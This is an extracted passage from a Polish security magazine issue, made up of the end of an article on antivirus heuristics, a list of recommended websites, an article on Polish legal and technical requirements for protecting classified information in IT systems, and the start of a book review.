chanizm ten rzeczywiście zwięk-
sza bezpieczeństwo systemu. Mo-
dyfikowanie systemu operacyjne-
go było od dawna stosowane przez
programy zabezpieczające, dzięki
czemu mogły one wykonać dodat-
kowe sprawdzenia, które uniemoż-
liwiał sam system. Przykładowo
działający w czasie rzeczywistym
system analizy zachowań musi
zintegrować się z systemem, być
bliżej systemu niż niebezpieczne
oprogramowanie, aby mógł je kon-
trolować. Istnienie Kernel Patch
Protection uniemożliwia taką in-
tegrację. Chociaż mechanizm ten
zabezpieczy system przed niektó-
rymi rootkitami, ich twórcy i tak są
w stanie go ominąć, wykorzystując
nielegalne sztuczki. Sztuczek tych
nie mogą jednak stosować produ-
cenci programów antywirusowych,
dzięki czemu złośliwe oprogramo-
wanie uzyskuje nad zabezpiecza-
jącym przewagę. Redukując moż-
liwości analizy behawioralnej Mi-
crosoft zmniejszył siłę heurystycz-
nej detekcji najpopularniejszych
zagrożeń, czyli działających w try-
bie użytkownika.

Wykrywanie anomalii

Kiedy mówimy o heurystycznej de-
tekcji niebezpiecznego oprogramo-
wania, możemy wyróżnić dwa typy
klasyfikacji, które faktycznie są wy-
krywaniem anomalii:

• wszystko, co nie jest podobne

do normalnego programu, jest
niebezpieczne,

• wszystko, co jest podobne do

niebezpiecznego programu, jest
niebezpieczne.

Pierwszy rodzaj wykrywania ano-
malii był skuteczny w przypadku in-
fektorów plików. Wykrywanie poli-
morfizmu i metamorfizmu, nietypo-
wej budowy plików czy kodu asem-
blerowego w punkcie wejścia pro-
gramu pozwalało na odróżnienie

plików bezpiecznych od zainfeko-
wanych. W momencie, gdy auto-
rzy złośliwych programów prze-
rzucili się na języki wysokiego po-
ziomu, programy bezpieczne i nie-
bezpieczne stały się zbyt podob-
ne, by można je było łatwo rozróż-
nić. Twórcom heurystyk pozostało
poszukiwanie podobieństw złośli-
wych programów do innych złośli-
wych programów. Co to oznacza?
Współcześnie nie jest możliwe wy-
krycie całkowicie nowego typu za-
grożenia, gdy nie ma ono cech
wspólnych z już istniejącymi.

Na szczęście dla użytkowni-

ków (i twórców programów antywi-
rusowych), autorzy złośliwych pro-
gramów wprowadzają w kolejnych
wersjach niewielkie zmiany, bazu-
ją na istniejących rozwiązaniach
i używają do zabezpieczenia plików
popularnych narzędzi. Dzięki temu
nowe zagrożenia posiadają wiele
cech wspólnych na wszystkich po-
ziomach, od podobieństwa binar-
nego, aż do podobieństwa opisane-
go w domenie zachowań (Rysunek
4). Już po otrzymaniu jednej prób-
ki program antywirusowy, wykorzy-
stujący zaawansowaną heurystykę,
jest w stanie wykryć wszystkie wa-
rianty tego zagrożenia.

Oszukiwanie heurystyki

Teoretycznie detekcja niebezpiecz-
nego programu, którego autor po-
starał się, żeby program nie był wy-
kryty, jest bardzo trudna. W sytu-
acji, gdy autor złośliwego programu
napisze go od podstaw, nie wzoru-
jąc się na istniejących rozwiąza-
niach, istnieje dość nikła szansa,
że algorytm heurystyczny go wy-
kryje. Jeszcze mniejsze jest praw-

dopodobieństwo wykrycia takiego
zagrożenia przy użyciu uogólnio-
nego wzorca. Co więcej, na sku-
tek dostępności darmowych lub te-
stowych wersji programów antywi-
rusowych, autor nowego programu
może sprawdzić, czy jest on wykry-
wany metodami heurystycznymi.
W takim przypadku może modyfi-
kować go do czasu, aż przestanie
być uznawany za podejrzany. Ist-
nieją również serwisy online ska-
nujące plik dużą liczbą silników an-
tywirusowych, takie jak Jotti's mal-
ware scan
czy VirusTotal, z których
twórca robaka czy trojana może
skorzystać.

Z tego powodu firmy antywiruso-

we trzymają w rękawie kilka asów,
jakimi są niedostępne ogólnie me-
chanizmy detekcji, które umożliwia-
ją wczesne wykrycie nowego zagro-
żenia i dostarczenie próbki do firmy
w celu błyskawicznego przygotowa-
nia remedium.

Podsumowanie

Heurystyka w programach anty-
wirusowych ewoluuje wraz z za-
grożeniami. Programy antywiruso-
we od kilku lat nie służą jedynie
do wykrywania i usuwania wiru-
sów komputerowych, ale skupiają
się na ochronie użytkownika przed
szerokim wachlarzem ataków. Sta-
ły się pakietami zabezpieczający-
mi przed złośliwym oprogramo-
waniem, włamaniami, phishingiem,
rootkitami, a nawet spamem. Do
ich wykrycia mogą wykorzystać al-
bo wzorce, albo mechanizmy pre-
wencyjne, jakimi są współcześnie
heurystyki. Co jest skuteczniej-
sze? Wiadomo – lepiej zapobie-
gać, niż leczyć. l

O autorze

Jakub Dębski, starszy analityk w firmie ESET (producent programu NOD32), spe-
cjalizującej się w ochronie proaktywnej z wykorzystaniem najbardziej zaawanso-
wanych mechanizmów analizy heurystycznej. Wcześniej wieloletni pracownik pol-
skich firm antywirusowych. Był kierownikiem projektu silnika mks_vir, następnie
ArcaVir. Studia na Wojskowej Akademii Technicznej ukończył obroną pracy dy-
plomowej na temat wykorzystania sieci neuronowych w detekcji zagrożeń inter-
netowych.
Kontakt z autorem:debski.jakub@wp.pl

background image

Strony rekomendowane

Misją serwisu jest zaprezentowanie języ-

ków programowania oraz ułatwienie użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona firmy świadczącej profesjonalne

usługii IT, specjalizującej się w wypożycza-

niu serwerów i macierzy. Firma prowadzi

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal poświęcony technikom programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych,

nie należy ich wykorzystywać w niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal internetowy poświęcony w całości

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom

i rozrywce oraz najnowszym aplikacjom.

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dzial downloads.

http://www.hakerczat.prv.pl/index.html

Jest to portal dla wszystkich co interesują

się tematyką bezpieczeństwa, audytem, IT

Governance w sieciach i systemach telein-

formatycznych, a także ochroną danych.

http://www.locos.pl/

Witryna poświęcona w całości tematy-

ce hakingu. Początkujący w tej dziedzinie

znajdą na niej działy, ktore im umożliwią

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją serwisu jest dostarczenie dużej ilo-

ści informacji z zakresu informatyki. Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek

jak i kursy tworzenia portali www.

http://www.swww.pl/

Serwis poświęcony branży IT oferujący

codzienne newsy, artykuły, recenzje ma-

gazynów, testy oraz forum dyskusyjne.

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera.

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej się w nowoczesnych rozwią-

zaniach informatycznych, zaczynając od

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

www.hakin9.org

hakin9 Nr 01/2008

66

Bezpieczna Firma

Z

agadnienie bezpieczeństwa syste-
mów teleinformatycznych nabiera co-
raz większego znaczenia, ponieważ to

w nich informacja jest coraz częściej prze-
twarzana i przechowywana. Pod pojęciem
bezpieczeństwa teleinformatycznego infor-
macji niejawnych należy rozumieć ochro-
nę informacji niejawnych, które przetwarza-
ne są w systemach i sieciach teleinforma-
tycznych, przed utratą właściwości gwaran-
tujących bezpieczeństwo – a w szczególno-
ści przed utratą poufności, dostępności i in-
tegralności.

Za bezpieczeństwo przetwarzania infor-

macji niejawnych w systemach i sieciach te-
leinformatycznych odpowiada kierownik jed-
nostki organizacyjnej. Bezpieczeństwo tele-
informatyczne należy zapewnić przed rozpo-
częciem oraz w trakcie przetwarzania infor-
macji niejawnych. Rozdział 10 – Bezpieczeń-
stwo systemów
i sieci teleinformatycznych
– ustawy o ochronie informacji niejawnych
określa podstawowe wymagania związane
z elektronicznym przetwarzaniem informacji
niejawnych. Szczegółowe wymagania tech-
niczne i organizacyjne związane z przetwa-
rzaniem informacji niejawnych w systemach

i sieciach teleinformatycznych oraz sposób
opracowywania dokumentacji bezpieczeń-
stwa teleinformatycznego określa zaś rozpo-
rządzenie Prezesa Rady Ministrów w sprawie
podstawowych wymagań bezpieczeństwa
teleinformatycznego. Kierownik jednostki or-
ganizacyjnej dla każdego sytemu lub sieci te-
leinformatycznej, w której przetwarza się in-
formacje niejawne, powinien wyznaczyć ad-
ministratora sytemu i inspektora bezpieczeń-
stwa teleinformatycznego. Administrator sys-
temu zgodnie z zapisami ustawy odpowiada
za funkcjonowanie systemu lub sieci telein-
formatycznej oraz za przestrzeganie zasad
i wymagań bezpieczeństwa systemów i sie-
ci teleinformatycznych, natomiast inspek-

Bezpieczeństwo

teleinformatyczne

informacji niejawnych

Andrzej Guzik

stopień trudności

Metody ochrony informacji niejawnych przetwarzanych

w systemach i sieciach teleinformatycznych, oprócz spełnienia

wymagań wynikających z przepisów prawa, wymagają

uwzględnienia wytycznych służb ochrony państwa dotyczących

bezpieczeństwa teleinformatycznego.

Z artykułu dowiesz się

• jak zapewnić bezpieczeństwo informacjom nie-

jawnym przetwarzanym w systemach i sieciach
teleinformatycznych

Co powinieneś wiedzieć

• znać podstawowe zasady ochrony informacji

niejawnych

background image

Bezpieczeństwo informatyczne informacji niejawnych

hakin9 Nr 01/2008

www.hakin9.org

67

tor bezpieczeństwa teleinforma-
tycznego, pracownik pionu ochro-
ny, odpowiada za bieżącą kontrolę
zgodności funkcjonowania syste-
mu lub sieci teleinformatycznej ze
szczególnymi wymaganiami bez-
pieczeństwa oraz za kontrolę prze-
strzegania procedur bezpiecznej
eksploatacji. Ustawa określa rów-
nież wymagania dla osób odpo-
wiedzialnych za bezpieczeństwo
teleinformatyczne. Stanowisko lub
funkcję administratora sytemu al-
bo inspektora bezpieczeństwa te-
leinformatycznego mogą pełnić
osoby, które posiadają obywatel-
stwo polskie, posiadają poświad-
czenie bezpieczeństwa odpowied-
nie do klauzuli informacji niejaw-
nych przetwarzanych w systemach
lub sieciach teleinformatycznych,
które odbyły przeszkolenie w za-
kresie ochrony informacji niejaw-
nych i specjalistyczne szkolenie
z zakresu bezpieczeństwa tele-
informatycznego

prowadzonego

przez służby ochrony państwa. Ak-
tualnie kurs dla kandydatów na ad-
ministratorów systemu i inspekto-
rów bezpieczeństwa teleinforma-
tycznego trwa jeden dzień i kosz-
tuje 250 złotych. Systemy i sieci te-
leinformatyczne, w których prze-
twarza się informacje niejawne,
podlegają akredytacji przez służby
ochrony państwa. Dopuszczenie
sytemu lub sieci teleinformatycznej
do pracy następuje na podstawie

dokumentacji bezpieczeństwa te-
leinformatycznego, na którą skła-
dają się szczególne wymagania
bezpieczeństwa (SWB) i procedu-
ry bezpiecznej eksploatacji (PBE).
W zależności od klauzuli informacji
niejawnych przetwarzanych w sys-
temie, ww. dokumentacja podle-
ga uzgodnieniu lub zatwierdzeniu.
W przypadku informacji niejawnych
stanowiących tajemnicę państwo-
wą dokumentacja ta jest indywidu-
alnie zatwierdzana przez właści-
wą służbę ochrony państwa (Agen-
cję Bezpieczeństwa Wewnętrzne-
go lub Służbę Kontrwywiadu Woj-
skowego), w terminie 30 dni od jej
otrzymania. Natomiast w przypad-
ku tajemnicy służbowej niewniesie-
nie zastrzeżeń w terminie 30 dni od
jej przedstawienia przez kierowni-
ka jednostki organizacyjnej służ-
bom ochrony państwa upoważnia

do rozpoczęcia przetwarzania in-
formacji niejawnych w systemie lub
sieci teleinformatycznej. Dodat-
kowo dla systemów i sieci, w któ-
rych przetwarza się tajemnicę pań-
stwową, wymagany jest certyfikat
akredytacji bezpieczeństwa tele-
informatycznego. Ww. certyfikat
wydawany jest po przeprowadze-
niu postępowań sprawdzających
wobec osób mających dostęp do
systemu lub sieci, po zatwierdze-
niu przez właściwą służbę ochrony
państwa SWB i PBE oraz po prze-
prowadzeniu audytu bezpieczeń-
stwa systemu lub sieci teleinfor-
matycznej. Ww. audyt ma na celu
weryfikację poprawności realizacji
wymagań i procedur określonych
w SWB i PBE.

Dokumentacja

Dokumentację bezpieczeństwa te-
leinformatycznego, na którą skła-
dają się SWB i PBE, opracowuje
się po przeprowadzeniu analizy ry-
zyka z uwzględnieniem warunków
charakterystycznych dla jednost-
ki organizacyjnej, w której mają
być przetwarzane informacje nie-
jawne. Analizy ryzyka można do-
konać stosując na przykład meto-
dy opisane w raporcie technicznym
ISO/IEC TR 13335-3 Technika in-
formatyczna – Wytyczne do za-
rządzania bezpieczeństwem sys-
temów informatycznych, Część 3:

Techniki zarządzania bezpieczeń-
stwem systemów informatycznych.
Raport przedstawia cztery warian-
ty podejścia do analizy ryzyka: po-
dejście podstawowego poziomu

Tabela 1.

Zawartość dokumentu Szczególne Wymagania Bezpieczeństwa

Lp. Zawartość dokumentu SWB

1

osoby odpowiedzialne za wdrożenie środków zapewniających bez-
pieczeństwo teleinformatyczne

2

zadania osób odpowiedzialnych za bezpieczeństwo teleinformatycz-
ne

3

granice i lokalizacja stref kontrolowanego dostępu oraz środki ich
ochrony

4

środki ochrony kryptograficznej, elektromagnetycznej, technicznej
lub organizacyjnej systemu lub sieci teleinformatycznej

5

inne zastosowane środki ochrony zapewniające bezpieczeństwo te-
leinformatyczne informacji niejawnych

6

zasady zarządzania ryzykiem

7

zasady szkolenia z zakresu bezpieczeństwa teleinformatycznego
osób odpowiedzialnych za bezpieczeństwo teleinformatyczne oraz
osób uprawnionych do pracy w systemie lub sieci teleinformatycznej

Rysunek 1.

Bezpieczne stanowisko komputerowe – wersja z obudową

ekranującą

background image

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczna Firma

68

bezpieczeństwa, podejście niefor-
malne, szczegółową analizę ryzy-
ka i podejście mieszane. Podsta-
wowa różnica pomiędzy nimi doty-
czy stopnia szczegółowości anali-
zy ryzyka.

W oparciu o wyniki analizy ry-

zyka dobiera się zabezpieczenia.
Zastosowane zabezpieczenia po-
winny być efektywne kosztowo
i uwzględniać wymagania wynika-
jące z przepisów prawa, wymaga-
nia biznesowe i wymagania będą-
ce wynikiem analizy ryzyka. Ryzy-
ko, jakie powstaje po wprowadze-
niu zabezpieczeń, nazywamy ryzy-
kiem szczątkowym.

SWB powinny w sposób kom-

pletny i wyczerpujący opisywać
budowę, zasady działania i eks-
ploatacji oraz charakterystykę sy-
temu lub sieci teleinformatycznej.
Dane o systemie lub sieci teleinfor-
matycznej powinny obejmować: lo-
kalizację systemu, typ wykorzysty-
wanych urządzeń oraz oprogramo-
wania, sposób realizacji połączeń
wewnętrznych i zewnętrznych,
konfigurację sprzętową i ustawie-

nie mechanizmów zabezpieczają-
cych oraz opis środowiska eksplo-
atacji (opis środowiska globalne-
go, środowiska lokalnego i środo-
wiska elektronicznego). Natomiast
charakterystyka systemu lub sieci
teleinformatycznej powinna okre-
ślać między innymi klauzulę tajno-
ści informacji niejawnych, które bę-
dą w nich przetwarzane, katego-

rie uprawnień osób uprawnionych
do pracy w systemie lub sieci w za-
kresie dostępu do przetwarzanych
w nich informacji niejawnych (w za-
leżności od klauzuli tajności tych
informacji) oraz tryb bezpieczeń-
stwa pracy systemu lub sieci tele-
informatycznej (dedykowany, sys-
temowo-podwyższony lub wielopo-
ziomowy).

SWB opracowuje się w fazie

projektowania, na bieżąco rozwi-
ja w fazie wdrażania i modyfikuje
w fazie eksploatacji – przed doko-
naniem zmian w systemie lub sieci
teleinformatycznej. Z kolei PBE po-
winny opisywać sposób i tryb po-
stępowania w sprawach związa-
nych z bezpieczeństwem informacji
oraz określać zakres odpowiedzial-
ności użytkowników systemu i sie-
ci, a także pracowników mających
do nich dostęp.

PBE opracowuje się i uzupełnia

w fazie wdrażania oraz modyfikuje
w fazie eksploatacji – przed dokona-
niem zmian w systemie lub sieci te-
leinformatycznej.

Podstawowe

wymagania

Bezpieczeństwo teleinformatycz-
ne informacji niejawnych przetwa-
rzanych w systemach lub sieciach
teleinformatycznych zapewnia się
poprzez: ochronę fizyczną, ochro-
nę elektromagnetyczną, ochro-
nę kryptograficzną, niezawodność

Tabela 2.

Wykaz obowiązkowych procedur bezpiecznej eksploatacji

Lp. Procedury bezpieczeństwa

1

administrowania systemem lub siecią teleinformatyczną

2

bezpieczeństwa osobowego

3

bezpieczeństwa dokumentów i materiałów niejawnych, w tym pro-
cedur sporządzania kopii z tych dokumentów oraz niszczenia doku-
mentów i ich kopii

4

ochrony kryptograficznej, elektromagnetycznej, fizycznej, niezawod-
ności transmisji, kontroli dostępu do urządzeń systemu lub sieci tele-
informatycznej

5

bezpieczeństwa urządzeń i oprogramowania

6

zapewnienia ciągłości działania systemu lub sieci teleinformatycznej

7

zarządzania konfiguracją

8

audytu bezpieczeństwa

Rysunek 2.

Bezpieczne stanowisko komputerowe

Tabela 3.

Elementy bezpieczeństwa teleinformatycznego

informacji niejawnych

Lp. Elementy bezpieczeństwa teleinformatycznego

informacji niejawnych

1

ochrona fizyczna

2

kontrola dostępu do urządzeń systemu lub sieci teleinformatycznej

3

niezawodność transmisji

4

ochrona kryptograficzna

5

ochrona elektromagnetyczna

background image

Bezpieczeństwo informatyczne informacji niejawnych

hakin9 Nr 01/2008

www.hakin9.org

69

transmisji i kontrolę dostępu do
urządzeń systemu lub sieci telein-
formatycznej.

Ochrona fizyczna

Ochronę fizyczną informacji niejaw-
nych zapewnia się poprzez utwo-
rzenie stref kontrolowanego dostę-
pu (strefa administracyjna, strefa
bezpieczeństwa, specjalna strefa
bezpieczeństwa) oraz zastosowa-
nie środków ochrony zabezpiecza-
jących pomieszczenia w tych stre-
fach. Środki ochrony fizycznej po-
winny zapewniać ochronę fizycz-
ną pomieszczeń przed: nieupraw-
nionym dostępem, podsłuchem
i podglądem. Przy stosowaniu
środków ochrony fizycznej obo-
wiązuje zasada adekwatności, tzn.
środki ochrony fizycznej powinny
odpowiadać klauzuli tajności i ilo-
ści informacji niejawnych, liczbie
i poziomowi dostępu do tych in-
formacji zatrudnionych osób oraz
uwzględniać wytyczne służb ochro-
ny państwa przed zagrożeniami ze
strony obcych służb specjalnych

(w tym także w stosunku do pań-
stwa sojuszniczego). Strefa admini-
stracyjna powinna zapewniać kon-
trolę osób i pojazdów, natomiast
w strefie bezpieczeństwa należy

zapewnić kontrolę wejść i wyjść
oraz kontrolę przebywania. W tym
celu należy wprowadzić system
przepustek lub inny system kontro-
li dostępu uprawniający do wejścia

Rysunek 3.

Przykłady obudów ekranujących

Rysunek 4.

Przykład pomieszczenia do przetwarzania informacji niejawnych

���������������

������������

������������

��������������

����������������

�����������������

��������

��

����������������������������������

�����������
�������

��������������

����
�������������
����������������
����������������

���������������

�����������

������������

�������������

������

��������������������������������������������������������������������
������������������������������������������������������
���������������������������������������������������������������������

background image

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczna Firma

70

do strefy bezpieczeństwa, a także
zorganizować system przechowy-
wania kluczy do pomieszczeń chro-
nionych, szaf pancernych i innych
pojemników służących do prze-
chowywania informacji niejawnych
stanowiących tajemnicę państwo-
wą. Środki ochrony fizycznej po-
winny posiadać certyfikaty i świa-
dectwa kwalifikacyjne przyznane
na podstawie innych przepisów,
np. w oparciu o polskie normy.

Informacje niejawne o klauzu-

li zastrzeżone można przetwarzać
w strefie administracyjnej, natomiast
informacje stanowiące tajemnicę
państwową i służbową o klauzuli
poufne można przetwarzać w stre-
fie bezpieczeństwa. Przetwarza-
nie informacji niejawnych o klauzuli
zastrzeżone wiąże się z zapewnie-
niem ochrony fizycznej, kontroli do-
stępu do urządzeń systemu lub sie-
ci teleinformatycznej oraz z zapew-
nieniem niezawodności transmisji.
W przypadku przetwarzania infor-
macji niejawnych stanowiących ta-
jemnicę państwową i tajemnicę
służbową o klauzuli poufne należy
– oprócz wymagań jak dla klauzu-
li zastrzeżone – zapewnić ochronę
kryptograficzną i ochronę elektro-
magnetyczną.

Ochrona

elektromagnetyczna

Ochrona elektromagnetyczna sys-
temu lub sieci teleinformatycz-
nej polega na niedopuszczeniu do
utraty poufności i dostępności in-
formacji niejawnych przetwarza-
nych w urządzeniach teleinforma-
tycznych. Utrata poufności nastę-
puje na skutek emisji ujawniającej
pochodzącej z tych urządzeń. Na-
tomiast utrata dostępności nastę-
puje w wyniku zakłócenia pracy
urządzeń teleinformatycznych za
pomocą impulsów elektromagne-
tycznych o dużej mocy. Ochronę
elektromagnetyczną zapewnia się
przez umieszczanie urządzeń te-
leinformatycznych, połączeń i linii
w strefach kontrolowanego dostę-
pu spełniających wymagania w za-
kresie tłumienności elektromagne-
tycznej lub przez zastosowanie od-

Podstawowe pojęcia związane z bezpieczeństwem

teleinformatycznym

• bezpieczeństwo teleinformatyczne – należy przez nie rozumieć ochronę informacji

niejawnych przed utratą właściwości gwarantujących bezpieczeństwo, w szczegól-
ności przed utratą poufności, dostępności i integralności,

• incydent bezpieczeństwa teleinformatycznego – każde zdarzenie naruszają-

ce bezpieczeństwo teleinformatyczne, spowodowane w szczególności awa-
rią systemu lub sieci teleinformatycznej, działaniem osób uprawnionych lub
nieuprawnionych do pracy w tym systemie lub sieci albo zaniechaniem osób
uprawnionych,

• akredytacja bezpieczeństwa teleinformatycznego – dopuszczenie systemu lub

sieci teleinformatycznej do wytwarzania, przetwarzania, przechowywania lub
przekazywania informacji niejawnych,

• certyfikat akredytacji bezpieczeństwa teleinformatycznego – dopuszczenie syste-

mu lub sieci teleinformatycznej do przetwarzania informacji niejawnych stanowią-
cych tajemnicę państwową,

• dokumentacja bezpieczeństwa teleinformatycznego systemu lub sieci teleinfor-

matycznej – szczególne wymagania bezpieczeństwa oraz procedury bezpiecznej
eksploatacji danego systemu lub sieci teleinformatycznej, sporządzone zgodnie
z zasadami określonymi w ustawie,

• szczególne wymagania bezpieczeństwa (SWB) – dokument wyczerpująco opi-

sujący budowę oraz zasady działania i eksploatacji systemu lub sieci teleinfor-
matycznej,

• procedury bezpiecznej eksploatacji (PBE) – dokument określający zasady i tryb

postępowania w sprawach związanych z bezpieczeństwem teleinformatycznym,
a także zakres odpowiedzialności użytkowników systemu lub sieci teleinforma-
tycznej oraz personelu teleinformatycznego,

• administrator systemu – osoba lub zespół osób odpowiedzialnych za funk-

cjonowanie systemów lub sieci teleinformatycznej oraz za przestrzeganie
zasad i wymagań bezpieczeństwa systemów i sieci teleinformatycznej,

• inspektor bezpieczeństwa teleinformatycznego – pracownik pionu ochrony

odpowiedzialny za bieżącą kontrolę zgodności funkcjonowania systemu lub
sieci teleinformatycznej ze SWB oraz za kontrolę przestrzegania PBE.

Podstawy prawne

• Rozdział 10 – Bezpieczeństwo systemów i sieci teleinformatycznych – ustawa

z dnia 22 stycznia 1999 roku o ochronie informacji niejawnych (Dz. U. z 2005 r.
Nr 196, poz. 1631 ze zmianami).

• Rozporządzenie Prezesa Rady Ministrów z dnia 25 sierpnia 2005 roku w sprawie

podstawowych wymagań bezpieczeństwa teleinformatycznego (Dz. U. Nr 171,
poz. 1433).

• Zalecenia Departamentu Bezpieczeństwa Teleinformatycznego Agencji

Bezpieczeństwa Wewnętrznego w sprawie bezpieczeństwa teleinformatycz-
nego.

powiednich urządzeń teleinforma-
tycznych, tzw. bezpiecznych sta-
nowisk komputerowych, które speł-
niają normę TEMPEST (Temporary
Emanation and Spurious Transmis-
sion
), połączeń i linii o obniżonym
poziomie emisji, czy też wreszcie
ekranowanie urządzeń teleinfor-
matycznych, połączeń i linii z jed-
noczesnym filtrowaniem zewnętrz-

nych linii zasilających i sygnało-
wych. Urządzenia klasy TEMPEST
wykonywane są w trzech klasach
bezpieczeństwa elektromagnetycz-
nego: AMSG 720 B, AMSG 788,
AMSG 784
. Środki ochrony elek-
tromagnetycznej powinny posiadać
certyfikat ochrony elektromagne-
tycznej wydany przez służby ochro-
ny państwa. Listę certyfikowanych

background image

Bezpieczeństwo informatyczne informacji niejawnych

środków oraz ich producentów
można znaleźć na stronie interne-
towej ABW (www.abw.gov.pl).

Ochrona

kryptograficzna

Ochrona kryptograficzna informa-
cji niejawnych, które przetwarza-
ne są w systemie lub sieci teleinfor-
matycznej, polega na zastosowaniu
mechanizmów gwarantujących ich
poufność, integralność oraz uwie-
rzytelnienie. Siła mechanizmów
kryptograficznych musi być odpo-
wiednia do klauzuli informacji nie-
jawnych. Ochronę kryptograficzną
stosuje się w przypadku przekazy-
wania informacji niejawnych – w for-
mie transmisji lub utrwalonych na
elektronicznych nośnikach informa-
cji – poza strefę kontrolowanego
dostępu. Ochronę kryptograficz-
ną stosuje się od klauzuli poufne
wzwyż. Środki ochrony kryptogra-
ficznej powinny posiadać certyfi-
kat ochrony kryptograficznej wyda-

ny przez służby ochrony państwa.
Listę certyfikowanych środków oraz
ich producentów można znaleźć na
stronie internetowej ABW.

Niezawodność

transmisji

Niezawodność transmisji polega na
zapewnieniu integralności i dostęp-
ności informacji niejawnych przeka-
zywanych w systemach i sieciach
teleinformatycznych. Zapewnia się
ją w szczególności poprzez zapew-
nienie zapasowych łączy telekomu-
nikacyjnych.

Kontrola dostępu

W celu zapewnienia kontroli dostę-
pu do systemu lub sieci teleinfor-
matycznej kierownik jednostki or-
ganizacyjnej lub osoba przez nie-
go upoważniona powinna usta-
lić warunki i sposób przydzielania
uprawnień osobom uprawnionym
do pracy w systemie lub sieci te-
leinformatycznej. Natomiast admi-

nistrator systemu powinien określić
warunki oraz sposób przydzielania
tym osobom kont i mechanizmów
kontroli dostępu, a także zapewnić
ich właściwe wykorzystanie. Przy
przetwarzaniu informacji niejaw-
nych stanowiących tajemnicę pań-
stwową należy zadbać o uniemożli-
wienie jednej osobie w sposób nie-
kontrolowany dostępu do wszyst-
kich zasobów systemu lub sieci te-
leinformatycznej.

Podsumowanie

Przepisy prawa określają minimalne
wymagania związane z bezpieczeń-
stwem teleinformatycznym informa-
cji niejawnych. Oprócz nich należy
uwzględnić zalecenia służb ochro-
ny państwa dotyczące bezpieczeń-
stwa teleinformatycznego informacji
niejawnych oraz polskie normy do-
tyczące bezpieczeństwa informacji.
Normy te stanowią źródło tzw. do-
brych praktyk, a w szczególności są
to: PN-ISO/IEC 17799: 2007 Tech-
nika informatyczna – Techniki bez-
pieczeństwa – Praktyczne zasady
zarządzania bezpieczeństwem in-
formacji i PN-ISO/IEC 27001: 2007
Technika informatyczna – Techniki
bezpieczeństwa – Systemy zarzą-
dzania bezpieczeństwem informacji
– Wymagania.
l

R

E

K

L

A

M

A

O autorze

Andrzej Guzik – audytor systemów zarządzania jakością i zarządzania bezpieczeń-
stwem informacji, specjalista w zakresie ochrony informacji prawnie chronionych, re-
daktor portalu www.ochronainformacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl

background image

hakin9 Nr 01/2008

www.hakin9.org

72

Księgozbiór

Księgozbiór

hakin9 Nr 01/2008

www.hakin9.org

73

Tytuł: E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w Sieci

Autor: Jonathan Reuvid

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 256

E-biznes i bezpieczeństwo to słowa, które w ostat-
nim czasie robią furorę. Większość przedsiębiorstw
poza fizycznymi oddziałami posiada te mniej namacal-
ne – wirtualne. Z drugiej strony obserwuje się coraz bar-
dziej wyrafinowane techniki oszustw i wyłudzeń, żerujące
na nieświadomych i naiwnych użytkownikach Internetu.
Właśnie te zagadnienia – i wiele więcej – porusza Jona-
than Reuvid w swojej książce pod tytułem E-biznes bez
ryzyka. Zarządzanie bezpieczeństwem w Sieci
.

Pozycja została podzielona na pięć głównych części

traktujących kolejno o: zagrożeniach dla informacji i sys-
temów informacyjnych, rodzajach ryzyka i źródłach
zagrożeń, ochronie oprogramowania i danych osobo-
wych, zarządzaniu działaniami operacyjnymi i dobrej
praktyce oraz o planowaniu awaryjnym i przywróceniu
poprawnego funkcjonowania organizacji po wystąpieniu
zdarzenia kryzysowego. Po tych kilku tytułach można
wnioskować, że autor porusza ważne i aktualne proble-
my elektronicznego biznesu.

Wśród wielu istotnych kwestii znajdziemy tematy,

które nie są często podejmowane przez innych autorów,
m. in. monitoring pracowników, jego zasadność i pod-
stawy prawne, kwestię urządzeń mobilnych i ich wyko-
rzystania poza czasem pracy (ilu pracodawców wie, co
z laptopami robią ich podwładni w domu?), zmniejsza-
nie ryzyka – od metody małych kroków poprzez szyb-
kie metody na radykalnych rozwiązaniach kończąc, czy

wreszcie systemy uwierzytelniania i święcąca w ostat-
nim czasie tryumfy biometria. Na pierwszy rzut oka nie-
które rozdziały wydają się nieaktualne – jak choćby Bez-
pieczeństwo sieciowe w 2005 roku
, jednak po dokład-
niejszym ich przestudiowaniu widać, że wskazują na
bardzo aktualne problemy. Z zalet książki warto również
wymienić przystępny język, łatwość z jaką się ją czyta
oraz metodę wyjaśniania terminów na zasadzie analogii
i obrazów. Studia przypadku z ostatnich rozdziałów są
ciekawym podsumowaniem przedstawionych zagadnień.

Na poczet plusów należy także zaliczyć wyważe-

nie treści pod względem liczby odwołań do standardów
i specyfikacji, która nie jest ani zbyt skromna, ani nie przy-
tłacza. Cieszy fakt, że uzupełniono tekst o polskie stan-
dardy razem z ich omówieniem. Z drobiazgów ujął mnie
zrzut ekranu z polskiej strony Google prezentujący wyniki
w ojczystym języku – szczegół, ale cieszy i podkreśla sza-
cunek dla czytelnika.

Komu poleciłbym tę pozycję? Praktycznie każde-

mu człowiekowi zainteresowanemu bezpieczeństwem.
Książka nie odstręcza fachowością, ale z drugiej strony
nie jest trywialna. Poruszane zagadnienia są aktualne
i często krytyczne dla funkcjonowania e-biznesu. Prak-
